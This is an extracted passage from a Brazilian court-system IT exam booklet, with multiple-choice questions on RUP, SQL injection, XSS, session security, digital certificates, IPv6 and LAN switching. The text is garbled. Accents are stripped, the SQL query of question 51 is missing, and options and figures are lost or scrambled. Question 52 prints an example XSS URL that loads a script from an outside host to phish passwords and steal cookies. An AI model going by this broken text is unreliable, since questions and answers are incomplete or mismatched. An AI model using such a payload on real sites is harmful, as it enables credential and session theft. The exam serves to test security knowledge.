(D) the Online Shopping use case allows customer to register on the web site, for example to get some coupons or be invited to
private sales.
(E) PayPal actor uses some web site to make purchases online.
TREPR-Tc.Jud.-Prog.Sistemas-I09 15
Caderno de Prova I09, Tipo 001
50. The Rational Unified Process-RUP describes how to effectively deploy commercially proven approaches to software
development. These are called best practices not so much because its possible to quantify precisely their value, but rather,
because they are observed to be commonly used in industry by successful organizations. RUP provides each team member with
the guidelines, templates and tool mentors necessary for the entire team to take full advantage, following best practices. One of
these practices shows how to visibly model software to capture the structure and behavior of architectures and components. This
allows the developer to hide the details and write code using graphical building blocks. Visual abstractions help to communicate
different aspects of the software; see how the elements of the system fit together; make sure that the building blocks are
consistent with the code; maintain consistency between a design and its implementation; and promote unambiguous
communication. The industry standard UML, created by Rational Software, is the foundation for successful modeling.
51. Considere a situao em que um usurio solicitado a inserir o nome de uma cidade atravs de um formulrio em uma
aplicao web. Se ele inserir a cidade 'Curitiba', a consulta SQL criada pelo script ser:
Considerando que o ponto-e-vrgula (;) denota o trmino de uma consulta e o incio de outra e que o hfen duplo (--) indica que o
restante da linha atual um comentrio e deve ser ignorado, correto afirmar:
(A) Como o cdigo injetado est sintaticamente incorreto, no ser executado pelo servidor de banco de dados.
(B) Mesmo que o cdigo SQL injetado esteja sintaticamente correto, a violao ser detectada programaticamente.
(C) responsabilidade do servidor de banco de dados validar todas as entradas de usurio e verificar o cdigo que executa
comandos SQL.
(D) Quando essa instruo for executada, o Banco de Dados selecionar primeiro todos os registros em EleicoesTable
onde City Curitiba e, em seguida, descartar EleicoesTable.
(E) Este um exemplo de como uma aplicao web pode dar liberdade ao usurio de atualizar dados em uma base de dados,
mas somente os programadores, que conhecem os nomes e campos das tabelas, conseguem fazer isso.
52. Considere uma aplicao em que um usurio efetua o login e, posteriormente, redirecionado para uma tela principal. Isto
poderia acontecer por meio de uma URL como a seguinte:
http://www.aplicacaoweb.com.br/Default.aspx?usuario=idusuario
Nesta URL, idusuario indica a conta com a qual o usurio se autenticou no website.
Suponha, agora, que o usurio USER acessou a aplicao e no fez o logoff de sua sesso enquanto estava ativa. Aps certo
tempo, o usurio USER recebe um e-mail no qual um hacker se faz passar pela empresa que mantm o website. O e-mail
fornece um link disfarado que redireciona USER para uma URL como esta:
http://www.aplicacaoweb.com.br/Default.aspx?usuario=idusuario<script
src='http://sitedesconhecido.com/ataque.js'>solicitarSenha();</script>
Note que o parmetro usuario contm tambm uma referncia para um arquivo Javascript localizado em outro website. Caso
USER clique no link, o cdigo existente no endereo externo solicitaria que ele informasse novamente sua senha e, em caso
afirmativo, o atacante receberia a informao desejada, podendo tambm roubar outras informaes presentes em cookies e na
sesso ativa naquele instante.
16 TREPR-Tc.Jud.-Prog.Sistemas-I09
Caderno de Prova I09, Tipo 001
53. Considere os cuidados abaixo.
I. No aceite novos identificadores de sesso pr-configurados ou invlidos na URL ou em requisies. Isto chamado de
ataque de sesso fixada. Use somente mecanismos padro para gerncia de sesso. No escreva ou use gerenciadores
secundrios de sesso em qualquer situao.
II. Mantenha no cdigo os cookies personalizados com propsito de autenticao de gerncia de sesso, como funes
lembrar do meu usurio.
III. Use perodos de expirao de prazo que automaticamente geram logout em sesses inativas, bem como o contedo das
informaes que esto sendo protegidas.
IV. Assegure-se que todas as pginas tenham um link de logout. O logout no deve destruir as sesses nem cookies de
sesso.
V. Use somente funes de proteo secundrias eficientes (perguntas e respostas, reset de senha), pois estas credenciais
so como senhas, nomes de usurios e tokens. Aplique one-way hash nas respostas para prevenir ataques nos quais a
informao pode ser descoberta.
So cuidados que corretamente evitam problemas de quebra de autenticao e gerenciamento de sesso em aplicaes web, o
que se afirma APENAS em
(A) I, II e III.
(B) I e IV.
(C) II, III e V.
(D) III e IV.
(E) I, III e V.
Com o intuito de conferir ainda mais segurana, transparncia e credibilidade s transaes eletrnicas realizadas em todas as
instncias da Justia Eleitoral, o Tribunal Superior Eleitoral (TSE) deu incio implementao da entidade deste ramo do
Judicirio. De acordo com o projeto, a ideia que o Tribunal seja o rgo central da emisso de certificados digitais para juzes
eleitorais, servidores e advogados que atuam na Justia Eleitoral, representantes de partidos polticos, candidatos a cargos
eletivos e ainda para todos os programas e sistemas desenvolvidos para as eleies.
Afinada com os avanos tecnolgicos, a Justia Eleitoral brasileira j exige que alguns procedimentos eletrnicos sejam
validados por certificados digitais. As prprias eleies, desde 1996, so realizadas de forma informatizada, e as urnas
eletrnicas, por sua vez, recebem I para assegurar sua integridade e confiabilidade. No entanto, hoje a Justia Eleitoral
utiliza certificados digitais desenvolvidos por uma entidade interna, no creditada pela Infraestrutura de Chaves Pblicas
Brasileira (ICP-Brasil), rgo que define as normas para a instalao de uma entidade e para a emisso e reconhecimento dos
certificados digitais.
(...) o objetivo do Tribunal justamente dar mais credibilidade e transparncia s transaes eletrnicas realizadas no mbito da
Justia Eleitoral, que passaro a ser reconhecidas pela ICP-Brasil. Para tanto, na sala-cofre da Corte Eleitoral ser instalado o
rgo central da entidade, a partir do qual sero gerados todos os certificados. Tambm sero criadas no prprio TSE, nos
II
tribunais regionais eleitorais (TREs) e, futuramente, em todos os cartrios eleitorais do pas, entidades que tm por objetivo o
recebimento, validao, encaminhamento de solicitaes de emisso ou revogao de certificados digitais e identificao, de
forma presencial, de seus solicitantes.
(Adaptado de: https://tse.jusbrasil.com.br/noticias/2577485/)
Notcia 1: Os ataques aos dispositivos mveis triplicaram no primeiro trimestre deste ano. O Brasil, que no figurava na lista
dos dez pases mais atacados, aparece em segundo lugar nas tentativas de ataque. No Brasil, no ataque mais comum, o
malware criptografa os dados e aplicaes e pede resgate para decodificar e dar novamente ao usurio o acesso aos dados.
(Adaptado de: http://cbn.globoradio.globo.com/media/audio/89691)
Notcia 2: ...no ano de 2016, os ataques volumtricos mais expressivos se realizaram tendo como armas as chamadas redes
zumbi ou botnets, formadas por dispositivos da Internet das Coisas (IoT), como, por exemplo, cmeras de vigilncia. Sua
disseminao foi devido principalmente a dois fatores: em primeiro lugar, a utilizao cada vez mais ampla desses dispositivos
IoT por empresas e residncias; depois, por caractersticas inerentes a esses aparelhos que facilitam seu recrutamento para as
redes zumbi. A complexidade dos ataques tambm vem aumentando com a utilizao simultnea de diversos vetores para
atacar diferentes pontos da infraestrutura da organizao visada, o que torna mais difcil a defesa contra eles.
(Adaptado de: https://www.tecmundo.com.br/seguranca-de-dados/116925)
(A) 128 ao 191 pertencem classe B, cuja mscara de sub-rede padro 255.0.0.0.
(B) 192 ao 223 pertencem classe C, cuja mscara de sub-rede padro 255.255.255.0.
(D) 224 ao 239 pertencem classe D, cuja mscara de sub-rede padro 255.255.255.0.
(E) 240 ao 255 pertencem classe E, cujos endereos so utilizados para multicasting.
I. A representao dos endereos IPv6 divide o endereo em oito grupos de 16 bits, separando-os por :, escritos com
dgitos hexadecimais (0-F), como em 2001:0DB8:AD1F:25E2:AADE:CAFE:F03A:84C1
II. permitido omitir os zeros esquerda de cada bloco de 16 bits, alm de substituir uma sequncia longa de zeros por ::.
Assim, o endereo 2001:0DB8:0000:0000:130F:0000:0000:140B pode ser escrito como 2001:DB8::130F::140B ou
2001::DB8:0:0:130F::140B
III. A representao dos endereos IPv6 em URLs inclui o uso de colchetes. Deste modo, no haver ambiguidades
caso seja necessrio indicar o nmero de uma porta juntamente com a URL, como em:
http://[2001:12ff:0:4::22]/index.html ou http://[2001:12ff:0:4::22]:8080
(C) I, apenas.
(E) I, II e III.
18 TREPR-Tc.Jud.-Prog.Sistemas-I09
Caderno de Prova I09, Tipo 001
58. Considere a figura abaixo.
As tecnologias mais utilizadas nas redes sem fio de WPAN at WWAN so, correta e respectivamente,
Os Access Points APs podem se comunicar com seus clientes wireless, com a rede cabeada e com outros APs. Na figura
acima AP1 e AP2 funcionam, respectivamente, nos modos de operao
60. Considere uma LAN cabeada formada por 4 computadores desktop, indicados por A, B, C e D, e um dispositivo que os inter-
conecta. Inicialmente o dispositivo no tem qualquer informao sobre quem est ligado em suas portas. Quando o computador
A envia uma informao para o computador B, o dispositivo no sabe onde se encontra B e envia essa informao por todas as
portas exceto por A. O computador B informa que a informao se destina a ele e o dispositivo registra o endereo MAC das
mquinas A e B e as respectivas portas onde se encontram ligadas. Em uma prxima vez, se a mquina A pretender se
comunicar com B (ou vice-versa), o dispositivo j conhece por qual porta deve enviar a informao.
(A) Router.
(B) Access Point.
(C) Switch.
(D) Repetidor.
(E) Hub.
TREPR-Tc.Jud.-Prog.Sistemas-I09 19